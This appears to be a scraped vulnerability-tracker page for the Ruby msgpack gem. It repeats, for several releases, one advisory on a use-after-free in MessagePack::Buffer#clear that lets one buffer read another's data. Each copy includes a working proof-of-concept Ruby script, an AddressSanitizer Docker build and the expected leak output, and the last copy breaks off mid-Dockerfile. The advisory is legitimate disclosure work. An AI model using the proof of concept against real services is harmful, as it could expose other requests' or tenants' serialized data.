          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 06, 2022

1.4.5 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 15, 2022

1.4.4 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 22, 2022

1.4.4.pre1 pre

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 21, 2022

1.4.3 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 20, 2022

1.4.2 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 01, 2021

1.4.0 minor

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
